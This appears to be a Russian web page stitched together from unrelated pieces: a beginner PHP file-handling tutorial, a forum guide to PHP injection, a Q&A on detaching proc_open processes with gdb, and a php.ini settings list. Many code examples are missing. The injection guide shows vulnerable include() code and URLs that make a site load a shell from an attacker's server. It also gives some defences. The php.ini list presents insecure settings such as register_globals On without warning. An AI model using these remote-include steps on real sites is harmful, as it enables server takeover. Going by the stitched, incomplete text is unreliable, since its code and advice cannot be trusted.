Открытие файлов и внешние данные. Потенциальная уязвимость php-скриптов. Работа с файлами на php: открытие, запись, чтение

  • 03.11.2019
16.5K

На самом деле, чем открыть php файл, не является большой проблемой. Бывает труднее открыть бутылку пива, когда находишься посреди леса. Но так думают лишь заядлые программисты. А для новичков поведаем обо всех возможностях php для работы с файлами:

Файлы php

Файлы с расширением php содержат в себе код написанный, на одноименном языке программирования. В отличие от других языков, php является серверным языком программирования. То есть он выполняется на стороне сервера. Поэтому для отладки его кода на клиентской машине должен быть установлен локальный сервер.

Для работы с файлами php используются специальные приложения – программные редакторы. Наиболее распространенными из них являются:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP Development.
При создании сайтов на основе php может потребоваться многократное использование программного кода. В таких ситуациях удобно подключать уже готовые решения, находящиеся в другом файле. Для этого используется конструкция include . Ее синтаксис:

include имя_файла

Пример подключения:

Подключаемый файл:


Подключение файла также возможно с помощью конструкции require . В отличие от include она подключает файл еще до выполнения программного кода. С помощью require в коде возможно лишь одно обращение к этому файлу. При повторном обращении система выдаст сообщение о глобальной ошибке и остановит выполнение программы.

Конструкция include подключает источник лишь во время выполнения программы. Она поддерживает множественное чтение файла php . При возникновении ошибки будет выведено лишь предупреждающее сообщение, а исполнение кода продолжится со следующей строчки.

Открытие и закрытие файлов

В php все операции с файлами осуществляются в несколько этапов:

  • Открытие файла;
  • Редактирование содержимого;
  • Закрытие файла.

Для открытия файла используется функция fopen() . Ее синтаксис:

int fopen(string filename, string mode [, int use_include_path])

Принимаемые аргументы:

  • string filename – имя файла или абсолютный путь к нему. Если путь к файлу не будет указан, то будет произведен его поиск в текущем каталоге. При отсутствии искомого файла система выведет сообщение об ошибке. Пример:

  • string mode – указывает режим открытия файла. Принимаемые аргументом значения:
  • r – файл открыт только для чтения, файловый указатель устанавливается в начале;
  • r+ – файл открыт для чтения и записи;
  • w – создается новый файл только для записи. Если файл с таким именем уже существует, в нем происходит автоматическое удаление всех данных;
  • w+ — создается новый файл для записи и чтения. При существовании такого файла происходит полная перезапись его данных на новые;
  • a – файл открыт для записи. Указатель устанавливается в конце. То есть запись в файл php начнется не с начала, а с конца;
  • a+ – открытие файла в режиме чтения и записи. Запись начнется с конца;
  • b – режим работы с файлом, содержащим в себе двоичные данные (в двоичной системе исчисления). Этот режим доступен только в операционной системе Windows.

Для закрытия доступа к файлу служит функция fclose () . Синтаксис:

int fclose (int file) , где int file – дескриптор сайта, который нужно закрыть.

После каждого чтения или записи файл нужно закрывать этой функцией. Иначе остается открытым поток, созданный для файла. А это ведет к лишнему расходу серверных мощностей.

Пример:

Чтение и запись файлов

Для простого отображения всего содержимого файла идеально подходит функция readfile () . Ее синтаксис:

readfile (string filename) , где string filename – строковое имя фала (не дескриптор ).


Тот же самый файл можно прочитать с помощью функции fpassthru () . Она считывает данные от конечной позиции указателя и до конца файла. Ее синтаксис:

int fpassthru (int file)

Для работы с функцией требуется открытие и закрытие файла. Пример:

Результат аналогичен предыдущему.

Функции для работы с файлами в php позволяют считывать содержимое построчно и посимвольно:

  • string fgets (int file, int length) – функция считывает строку длиною length . Пример:

  • string fread (int file, int length) – по действию идентична предыдущей.

Для записи текстовых данных в файл существует две идентичные функции:

  • int fputs (int file, string string [, int length ])
  • int fwrite (int file, string string [, int length ])

Функции записывают в файл int file строку string string указанной длины int length (необязательный аргумент ). Пример:

Создание и удаление файлов

Чтобы создать файл php , можно использовать функцию fopen() в режиме доступа «w » или «w+ ». Или функцию touch () . Она устанавливает время изменения файла. При отсутствии элемента с искомым именем он будет создан. Ее синтаксис.

Основы php-инъекций для новичков. ​


PHP-инъекция (англ. PHP injection) - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Нажмите, чтобы раскрыть...

(c)Wiki


Азы. ​

Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.
При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) пхп-код на целевом сервере. На пример залить шелл. Но сначала подробно разжуем, как это происходит.

На пример:
Представим, что у нас имеется сайт, написанный на PHP.
Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы.
Код будет выглядить так:

$file = $_GET [ "page" ]; //Отображаемая страница
include($file );
?>

Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:

http : //www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:

$file = "http://www.атакующий_серв.com/вредоносный_скрипт.txt?" ; //$_GET["page"];
include($file ); //$file - это внедренный злоумышленником скрипт
?>

Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

Подробнее:
И так, почему же злоумышленник смог провести PHP-инъекцию?
Все потому что функция include() позволяет запускать удаленные файлы.

Почему в примере был указан скрипт с расширением *.txt , а не *.php ?
Ответ прост, если бы скрипт имел формат *.php , он бы запустился на сервере злоумышленника, а не на целевой системе.

Так же был добавлен символ "? " в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере.
Пример:

$file = $_GET [ "page" ];
include($file . ".php" );
?>

Этот скрипт добавляет расширение *.php к чему либо, вызываемомому коммандой include() .
Т.е.

http : //www.атакующий_серв.com/вредоносный_скрипт.txt

Превращается в

http : //www.атакующий_серв.com/вредоносный_скрипт.txt.php

С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php )
По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:

http : //www.атакующий_серв.com/вредоносный_скрипт.txt?.php

Но он остается исполняемым.

Проведение PHP-инъекций через уязвимость функции include(). ​

RFI - удаленный инклюд при PHP-инъекции.​


Возможность проведения RFI - довольно частая бага в двигах.
Найти ее можно следущим образом:
Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:

/ index . php ? page = main

Подставляем вместо main любое бредовое значение, например upyachka

/ index . php ? page = upyachka

В ответ получим ошибку:

Warning : main (upyachka . php ): failed to open stream : No such file or directory in / home / user / www //page.php on line 3

Warning : main (upyachka . php ): failed to open stream : No such file or directory in / home / user / www / page . php on line 3

Warning : main (): Failed opening "upyachka.php" for inclusion (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear" ) in / home / user / www / page . php on line 3

Это показывает нам на то, что инклуд осуществим.
Пробуем подставить вместо upyachka сайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)

http : //www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell

Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.

LFI - локальный инклюд при PHP-инъекции.​


Представим, что мы набрели на тот же уязвимый сайт

/ index . php ? file = main

С кодом

..
Include ("folder/ $page .htm" );

?>

Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:

/ index . php ? page =../ index . php

В следующем случае код выглядит вот таким образом:

..
Include (" $dir1 /folder/page.php" );

?>

В этом случае можно прописать путь к шеллу следующим образом:
Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:

http : //www.сайт_злоумышленника.com/folder/shell.php

Инъекция в таком случае будет выглядить так:

index . php ? dir1 = http : //www.сайт_злоумышленника.com/

Способы защиты


Рассмотрим скрипт:

...

include $module . ".php" ;
...
?>

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется *.php и по полученному пути запускается файл.

Существует несколько способов защиты от такой атаки:​


-Проверять, не содержит ли переменная $module посторонние символы:

...
$module = $_GET [ "module" ];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
include $module . ".php" ;
...
?>

-Проверять, что $module присвоено одно из допустимых значений:
"/" , "" , $page ); // Блокируется возможность перехода в другие дирректории.
if (file_exists ("files/ $page .htm " ))
{
Include ("files/ $page .htm" );
}
Else
{
Echo
"error" ;
}

?>

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

При написании были использованы материалы из
Википедии,
с забугорного форума security-sh3ll (spl0it),
с форума Античат (GreenBear).
Отдельное спасибо Burt и f02 за помощь,
поддержку и благую критику)​

У меня было какое-то время в выходные, поэтому я сделал небольшое исследование по proc_open() на системах * nix.

В то время как proc_open() не блокирует выполнение PHP script, даже если shell script не запускается в фоновом режиме. PHP автоматически вызывает proc_close() после того, как PHP скрипт полностью выполняется, если вы его не вызываете. Итак, мы можем представить, что у нас всегда есть строка с proc_close() в конце script.

Проблема заключается в неочевидном, но логичном прообразе proc_close(). Предположим, что у нас есть script like:

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w")), $pipes); //Process some data outputted by our script, but not all data echo fread($pipes,100); //Don"t wait till scipt execution ended - exit //close pipes array_map("fclose",$pipes); //close process proc_close($proc);

Странно, proc_close(), ожидающий до завершения оболочки script, но наш script был вскоре прекращен. Это происходит потому, что мы закрыли каналы (кажется, что PHP делает это тихо, если мы забыли), так как этот script пытается что-то написать уже несуществующему трубу - он получает ошибку и завершает работу.

Теперь попробуем без труб (ну, будет, но они будут использовать текущий tty без ссылки на PHP):

$proc = proc_open("top -b -n 10000", array(), $pipes); proc_close($proc);

Теперь наш PHP script ждет завершения нашей оболочки script. Мы можем избежать этого? К счастью, PHP порождает сценарии оболочки с помощью

Sh -c "shell_script"

поэтому мы можем просто убить процесс sh и оставить наш script запущен:

$proc = proc_open("top -b -n 10000", array(), $pipes); $proc_status=proc_get_status($proc); exec("kill -9 ".$proc_status["pid"]); proc_close($proc);

Конечно, мы могли бы просто запустить этот процесс в фоновом режиме, например:

$proc = proc_open("top -b -n 10000 &", array(), $pipes); proc_close($proc);

и не имеет никаких проблем, но эта функция приводит нас к самому сложному вопросу: можем ли мы запустить процесс с proc_open(), прочитав некоторый вывод, а затем заставьте процесс заново? Ну, в некотором роде - да.

Основная проблема здесь - это трубы: мы не можем их закрыть или наш процесс умрет, но нам нужно, чтобы они прочитали полезные данные из этого процесса. Оказывается, здесь мы можем использовать магический трюк - gdb.

Сначала создайте файл где-нибудь (/usr/share/gdb_null_descr в моем примере) со следующим содержимым:

P dup2(open("/dev/null",0),1) p dup2(open("/dev/null",0),2)

Он скажет gdb изменить дескрипторы 1 и 2 (ну, как правило, stdout и stderr) для новых обработчиков файлов (/dev/null в этом примере, но вы можете его изменить).

Теперь, последнее: убедитесь, что gdb может подключаться к другим запущенным процессам - по умолчанию это относится к некоторым системам, но, например, на ubuntu 10.10 вам нужно установить /proc/sys/kernel/yama/ptrace _scope на 0, если вы не запускайте его как root.

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $pipes); //Process some data outputted by our script, but not all data echo fread($pipes,100); $proc_status=proc_get_status($proc); //Find real pid of our process(we need to go down one step in process tree) $pid=trim(exec("ps h -o pid --ppid ".$proc_status["pid"])); //Kill parent sh process exec("kill -s 9 ".$proc_status["pid"]); //Change stdin/stdout handlers in our process exec("gdb -p ".$pid." --batch -x /usr/share/gdb_null_descr"); array_map("fclose",$pipes); proc_close($proc);

edit: Я забыл упомянуть, что PHP не запускает вашу оболочку script мгновенно, поэтому вам нужно немного подождать, прежде чем выполнять другие команды оболочки, но обычно это достаточно быстро (или PHP достаточно медленный), а я "л ленив, чтобы добавить эти проверки к моим примерам.

Местонахождение файла php.ini зависит от операционной системы, на которой работает сервер хостинг-провайдера. Чтобы узнать где он находится выполняем 4 простых шага:

  1. Создаем php-файл (имя может быть любое, но мы берем для примера myphpinfo.php), и добавляем в него следующие строки:
  2. Загружаем этот файл на сервер, где расположен ваш сайт (в корневую папку).
  3. Запускаем через браузер (вводим URL https://yoursitename.com/myphpinfo.php).
  4. В появившемся окне ищем путь к php.ini (для начала смотрим "Loaded Configuration File", если там написано "None", то смотрим "Configuration File (php.ini) Path").

Как настроить php.ini?

Файл php.ini имеет такие правила синтаксиса "директива = значение". Если вы хотите добавлять комментарии (например, в которых указываете на что влияет данная настройка), то делайте после точки с запятой (все, что идет после этого знака не учитывается как команда). Вот пример:

max_execution_time = 40 ; Максимальное кол-во секунд исполнения скрипта

Общие настройки

PHPengine = On ; Работа PHP-скриптов включена.

Short_open_tag = On ; Разрешает упрощенно обрамлять PHP-код тагами

Asp_tags = On ; Включает возможность выделять PHP-код, как это делается в ASP - <% %>

Precision = 12 ; Указывает сколько цифр будет после запятой, у чисел с плавающей точкой.

Output_buffering = 4096 ; Автоматически будет включена буферизация вывода, с размером буфера указанным после "равно".

Safe_mode = On ; Безопасный режим.

Safe_mode_allowed_env_vars = PHP_ ; Разрешает пользователю работать только с переменными окружения, которые начинаются с PHP_. Если эта директива будет пустой (не будет иметь значения), то пользователи смогут изменять любые переменные окружения. Это может очень плохо сказаться на защите сценариев.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Запрещает изменять переменные, которые перечисляются через запятую.

Disable_functions = ; После знака "равно" нужно через запятую записать функции, которые вы хотите отключить (обычно это делается для безопасности)

Disable_classes = ; После знака "равно" нужно через запятую записать классы, вызов которых вы хотите запретить (обычно это делается для безопасности)

Ограничение ресурсов

max_execution_time = 40 ; Максимальное время на выполнение скрипта (в секундах)

Max_input_time = 40 ; Максимальное время в секундах, которое дается скрипту может на обработку данных, которые загружаются.

Memory_limit = 16M ; Максимум памяти, которые выделяется для работы одного скрипта

Обработка ошибок и журналы

error_reporting = E_ALL | E_ERROR | E_WARNING | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Указывает перечень ошибок, которые можно выводить.

Display_errors = On; Разрешает выводить ошибки прямо в браузер (часто используют для удобства отладки).

Display_startup_errors = On ; Ошибки появляющиеся при страрте PHP разрешено показывать.

Log_errors = On ; Ошибки разрешено записывать в файл журнала.

Log_errors_max_len = 1024 ; Максимальное число символов, которое может составлять длинна журнала.

Track_errors = On ; Последние сообщение об ошибки сохранится в переменную $php_errormsg

Html_errors = On ; Разрешен вывод сообщений об ошибках в HTML.

Error_log = filename ; Задается имя журнала ошибок.

Обработка данных

variables_order = "EGPCS" ; Устанавливает порядок, в котором PHP будет регистрировать перменные (E - встроенные переменные, G - GET переменные, P - POST переменные, C - Cookies, S - сессии). Если убрать любую из букв, то работа соответствующих переменных будет блокироваться.

Register_globals = On ; Включает возможность для обращения к переменным, которые поступают через GET/POST/Cookie/сессии, как к обычным переменным (например "$имяпеременной").

Register_argc_argv = On ; Разрешено создавать переменные $argv и $argc на основе информации из GET-метода.

Post_max_size = 8M ; Устанавливает максимальный объём данных, который может быть принят.

Magic_quotes_gpc = On ; Включает автоматическую обработку кавычек, которые поступают через POST/GET/Cookie.

Auto_prepend_file = ; Содержимое файлов, указанных в этих директивах, PHP должен обрабатывать соответственно ДО выполнения сценария
auto_append_file = ; Содержимое файлов, указанных в этих директивах, PHP должен обрабатывать соответственно ПОСЛЕ выполнения сценария.

Default_mimetype = "text/html" ; Задает кодировку для Content-type. По умолчанию будет использовано text/html без указания кодировки

Doc_root = ; Задается корневая папка для PHP-сценариев.

Extension_dir = "./" ; Задается папка, в которой будут хранится динамически загружаемые расширения.

Загрузка файлов

file_uploads = On ; Загрузка файлов на сервер разрешена.

Upload_tmp_dir = ; Временная директория для файлов, которые загружаются.

Upload_max_filesize = 2M ; Устанавливает максимальный размер файла, который можно загрузить.

Работа с сокетами

user_agent="PHP" ; Задается переменная USER_AGENT, когда происходит подключение через сокет.

Default_socket_timeout = 30 ; Максимальное время на прослушивание сокета (секунды).

Сессии

session.save_handler = files ; Уазывает, что информацию о сессиях нужно хранить в файлах

session.save_path = /tmp ; После знака "равно" нужно указать путь к папке в которой будет храниться информация о сессиях (важно чтобы она папка уже существовала)

session.use_cookies = 1 ; Разрешает использование cookie в сессиях

session.name = PHPSESSID ; Указывает на исользование в качестве имени сессии и сессионной cookie - ID сессии

session.cookie_lifetime = 0 ; Время жизни сессии ("0" - значит, что сессия живет, пока окно браузера не будет закрыто)

session.use_trans_sid = 1 ; Если пользователь отключил cookie, то во всех ссылках будет добавлен ID сессии

Динамические расширения

extension=modulename.extension ; Можно использовать чтобы загружать внешние модули. Для Windows-систем, обычно пишут - extension=msql.dll, а для
UNIX - extension=msql.so

Работа с модулями MySQL

mysql.allow_persistent = On ; Разрешает устойчивые MySQL-соединения.

Mysql.max_persistent = -1 ; Задает сколько максимум может быть устойчивых MySQL-соединений. Если указать -1, то это будет значить, что ограничений нет.

Mysql.max_links = -1 ; Задает сколько максимум может быть устойчивых MySQL-соединений, и неустойчивых ODBC-соединений. Если указать -1, то это будет значить, что ограничений нет.

Mysql.default_port = ; Порт для функции mysql_connect.

Mysql.default_socket = ; Имя сокета для локальных соединений MySQL.

Mysql.default_host = ; Имя хоста для функции mysql_connect.

Mysql.default_user = ; Имя пользователя.

Mysql.default_password = ; Пароль.

Если вы создали собственный файл php.ini и поместили его в папке сайта

В таком случае, в целях безопасности нужно заблокировать доступ к нему для всех, кроме вас. Для этого необходимо в файле.htaccess прописать такой код:


order allow,deny
deny from all

Но будьте внимательны, т.к. при данных настройках, все директивы (php_value, php_flag и т.д.) касающиеся настроек php через файл.htaccess перестанут работать (будет выдаваться ошибка 500 Internal Server Error).

Важно! Если вы создаете собственный файл php.ini, то он будет действовать только на директорию в которой он находится.